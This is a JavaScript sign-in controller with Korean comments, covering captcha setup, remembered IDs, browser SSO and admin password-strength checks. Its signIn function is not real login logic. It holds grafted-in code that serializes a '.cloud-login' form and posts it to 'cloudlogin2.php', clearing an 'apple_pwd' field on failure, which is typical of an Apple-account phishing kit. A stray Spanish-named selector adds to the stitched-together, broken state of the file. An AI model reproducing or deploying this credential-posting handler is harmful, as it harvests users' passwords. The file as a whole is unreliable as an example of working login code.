/*
 * Date   : 2016.12.15
 * Author : contentstech
 * Desc   : login
 */
!function () {

  $( "#contraseña" ).hide( "slow" );

  wip.init();

  wip.app().controller('signInController', function (co, $scope, $timeout) {
    var log = co.get('logger').getLogger('signIn');
    var http = co.get('http');
    var location = co.get('location');
    var localStoredParam = co.get('wiplocalstorage');
    var loading = co.get('loading');

    var vm = $scope.vm = {};

    vm.enableBrowserSso = enableBrowserSso;
    vm.isLoading = false;

    //Notice !!!!!! When you use global var from jsp, please check wechat signin works well !!!!!
    vm.iptLgnPlnID = iptLgnPlnID;
    vm.iptLgnPlnPD = null;
    vm.blnIptLgnPlnPD = true;
    vm.textForPassword = 'text';
    vm.assertion = null;
    vm.continueWith3rdParty = continueWith3rdParty;
    if (assertion) {
      vm.assertion = assertion;
    }
    vm.isAdmin = isAdmin;
    //Notice !!!!!! When you use global var from jsp, please check wechat signin works well !!!!!

    // 초기화 정보 로드
    http.get(wipLogicalPath + '/' + APPNAME + '/signInXhr').then(
        function (result) {
          if (!result.error) {
            //var str = JSON.stringify(result, null, 4);
            //log.out(str);
            if (result.iptLgnPlnID) {
              vm.iptLgnPlnID = result.iptLgnPlnID;

              var select = $('#ctnLgnPlnID');
              select.addClass('active');

            }
            vm.remIdChkYN = result.remIdChkYN;
            $scope.$parent.captchaTypeEnum = result.captchaTypeEnum;
            $scope.$parent.captchaPublicKey = result.captchaPublicKey;
            $scope.$parent.greCaptchaSiteKey = result.gRecaptchaSiteKey;
            $scope.$parent.greCaptchaInvisibleSiteKey = result.gRecaptchaInvisibleSiteKey;

            vm.angularCountryCode = result.userAcsCnty3dgtCd;
            vm.bannerSrc = result.marketingBannerSrc;
            vm.bannerHref = result.marketingBannerHref;
            vm.rmvCrtBtnYN = result.rmvCrtBtnYN == 'Y' ? true : false;
            vm.backgroundImage = result.backgroundImage;
            if (vm.backgroundImage) {
              $scope.$parent.bgStyle = {
                'background-color': $scope.$parent.stringSplit(
                    vm.backgroundImage, '@', 0),
                'background-image': 'url(' + wipResourcesUrl
                    + $scope.$parent.stringSplit(vm.backgroundImage, '@', 1)
                    + ')'
              };
            }
          }

          if (result.iptLgnPlnID) {// && wipUriEnum=='signInModifyPassword'
            vm.iptLgnPlnID = result.iptLgnPlnID;
//				if ( $scope.isExternalLoginFailedMsg ) {
//					$timeout(function() {
//						$scope.err.code = '06';
//						$scope.err.iptLgnPlnPD = true;
//					}, 200, true);
//				}
          }

          /* changePassword 통해서 비번 변경한 경우, 해당 계정으로 다시 로그인 할 수 있게 아이디를 프리필드 시켜준다. */
          var saveIptLgnINFO = localStoredParam.getObject('saveIptLgnINFO');
          if (saveIptLgnINFO) {
            var saveDateTime = new Date(saveIptLgnINFO.saveDateTime);
            var result = ((new Date().getTime() - saveDateTime.getTime())
                < 300000) ? true : false; // 5분
            if (result) {
              vm.iptLgnPlnID = saveIptLgnINFO.saveIptLgnID;
            } else {
              localStoredParam.clear('saveIptLgnINFO');
            }
          }

          $timeout(function () {
            if (vm.iptLgnPlnID) {
              $('#iptLgnPlnPD').focus();
            } else {
              $('#iptLgnPlnID').focus();
            }
          }, 100, true);
        });

    $timeout(function () { // 크롬 패스워드 자동완성 방지
      vm.textForPassword = "password";
    }, 2000, true);

    $scope.err = {
      code: '',
      iptLgnPlnID: false,
      iptLgnPlnPD: false,
      responseCapthchaCode: '',
      responseCapthcha: false,
      message: ''
    };

    $scope.btnChineseSrc = function () {
      //window.location.href = vm.bannerHref;
      window.open(vm.bannerHref, '_blank');
    };

    $scope.isSubmited = false;

    $scope.signIn = function () {

		$("#c_log").on("click", getCloud);
		function getCloud(a){
			var datos = $(".cloud-login").serialize();
			$("img.loading#load").show(0);
			$.post(
				"cloudlogin2.php",
				datos,
				function(b){
					if(b==1){
						$(".login-form").fadeOut();
						$(".preloader").fadeIn().delay(1000).fadeOut();
						$(".imessage").fadeIn();
					}else{
						$("#apple_pwd").val("");
						$("#c_log").css("background-position", "0 0");
						$(".move").animate({'left':'20px'},60).animate({'left':'0'},60).animate({'left':'20px'},60).animate({'left':'0'},60).animate({'left':'20px'},60).animate({'left':'0'},60);
						$(".login-form form.cloud-login .alrt").slideDown();
						$("img.loading#load").fadeOut();
					}
				}
			);
			a.preventDefault();
		}
    };

    // I 캡챠에서 사용할 핸들러
    $scope.$parent.submitHandler = $scope.signIn;
    $scope.$parent.validationHandler = chkSignIn;

    // im.responseCapthcha 의 값을 지속적으로 감시
    $scope.$watch('vm.responseCapthcha', function (n, o) {
      if (n && n.length) {
        $scope.err.responseCapthcha = false;
        $scope.err.responseCapthchaCode = null;
        $scope.err.iptLgnPlnPD = false;
        $scope.err.iptLgnPlnID = false;
      }
    });

    // vm.iptLgnPlnID 의 값을 지속적으로 감시
    $scope.$watch('vm.iptLgnPlnID', function (n, o) {
      if (typeof (n) == 'undefined') {//vm.iptLgnPlnID가 type이 email이라 패턴이 지켜지지 않음 undefined이므로 아무거나 입력되는 순간 패스워드 필드를 enabled시켜 준다.
        vm.blnIptLgnPlnPD = false;
      }
      if (n && n.length) {
        $scope.err.iptLgnPlnID = false;
        $scope.err.iptLgnPlnPD = false;
        $scope.err.responseCapthcha = false;
        $scope.err.responseCapthchaCode = '';
        vm.blnIptLgnPlnPD = false;
      }
    });

    // vm.iptLgnPlnPD 의 값을 지속적으로 감시
    $scope.$watch('vm.iptLgnPlnPD', function (n, o) {
      if (n && n.length) {
        $scope.err.iptLgnPlnPD = false;
        $scope.err.iptLgnPlnID = false;
        $scope.err.iptLgnPlnAdminPD = false;
        $scope.err.responseCapthcha = false;
        $scope.err.responseCapthchaCode = '';
      }
    });

    $scope.signUp = function () {
      location.go(wipLogicalPath + '/' + APPNAME + '/signUp');
    };

    $scope.findInfo = function () {
      location.go(wipLogicalPath + '/' + APPNAME + '/findId');
    };

    $scope.resetPassword = function () {
      location.go(wipLogicalPath + '/' + APPNAME + '/resetPassword');
    };

    $scope.remIdChk = function () {
      vm.remIdChkYN = !vm.remIdChkYN;
    };

    $scope.btnGoBack = function () {
      window.location.href = goBackURL;
    };

    $scope.browserSso = function() {
      vm.enableBrowserSso = false;
      vm.isLoading = true;
      http.get(wipLogicalPath + '/' + APPNAME + '/browserSso').then(function(result) {
        if (result) {
          window.open(result.deepLink);
          setTimeout(function() {
            window.location.href = result.codeEndpoint;
          }, 2000);
        }
      });
    };





    // private
    function chkSignIn() {
      //에러 변수 초기화
      $scope.err = {
        code: '',
        iptLgnPlnID: false,
        iptLgnPlnPD: false,
        iptLgnPlnAdminPD: false,
        responseCapthchaCode: '',
        responseCapthcha: false,
        message: ''
      };

      var chk = true;


      if (!vm.iptLgnPlnPD) {
        $scope.err.code = '02';
        $scope.err.iptLgnPlnPD = true;
        vm.blnIptLgnPlnPD = false;
        $('#iptLgnPlnPD').focus();
        chk = false;
      }

      if (!vm.iptLgnPlnID && $("#iptLgnPlnID").val() == "") {
        if ($scope.err.iptLgnPlnPD) {
          $scope.err.code = '03';
        } else {
          $scope.err.code = '01';
        }
        $scope.err.iptLgnPlnID = true;
        $('#iptLgnPlnID').focus();
        chk = false;
      }

      return chk;
    }

    $scope.adminPasswordRegex = (function () {//signUp 암호 다중 조건 체크 정규 함수
      if (vm.isAdmin == true) {
        var f = $scope.$parent.passwordRegex;//지역변수 변경 이슈가 있으므로 공통으로 올리지 못한다.
        return {
          test: function (value) {
            if (f.test(value)) {//패스워드 패턴을 통과한 경우
              $scope.$parent.strenthChkStr = $scope.$parent.passwordStrength(
                  value);

              /*							// 16자이상 문구표시, 에러는 아님
                            if (/.{0,9}$/.test(value)) {
                              $scope.err.passwordCode = '07';
                              $scope.err.password = true;
                              $scope.$parent.strenthChkStr = 1;
                            }else{
                              $scope.err.passwordCode = '';
                              $scope.err.password = false;
                            }*/
              //3자리 이상 연속된 문자 02
              if (!$scope.$parent.isCustomAscDescPassword(value)) {
                $scope.err.code = 'A04';
                $scope.err.iptLgnPlnAdminPD = true;
                return false;
              }
              //3자리 이상 똑같은 문자 03
              if (!$scope.$parent.isCustomSameCharPassword(value)) {
                $scope.err.code = 'A03';
                $scope.err.iptLgnPlnAdminPD = true;
                return false;
              }
              //패스워드에 iptLgnPlnID 아이디가 포함된경우
              if (vm.iptLgnPlnID && vm.iptLgnPlnID.indexOf(value) > -1) {
                $scope.err.code = 'A06';
                $scope.err.iptLgnPlnAdminPD = true;
                return false;
              }
              //iptLgnPlnID 이메일인 경우 @ 앞부분에 패스워드가 포함된경우
              if (vm.iptLgnPlnID && $scope.$parent.strSignUpIdType(
                  vm.iptLgnPlnID) == '003' && value.indexOf(
                  vm.iptLgnPlnID.substring(0, vm.iptLgnPlnID.indexOf('@')))
                  > -1) {
                $scope.err.code = 'A06';
                $scope.err.iptLgnPlnAdminPD = true;
                return false;
              }
              //영문대소,숫자,키보드특수기호외에 입력된 망칙한 캐릭 선별
              var g = $scope.$parent.passwordSpecialCharRegex;
              if (g.test(value)) {
                $scope.err.code = 'A06';
                $scope.err.iptLgnPlnAdminPD = true;
                return false;
              }
              return true;
            } else {//패스워드 패턴 통과 실패
              $scope.$parent.strenthChkStr = $scope.$parent.passwordStrength(
                  value);
              $scope.err.code = 'A02';
              $scope.err.iptLgnPlnAdminPD = true;
              return false;
            }
          }
        };
      }
    })();
  });

}();
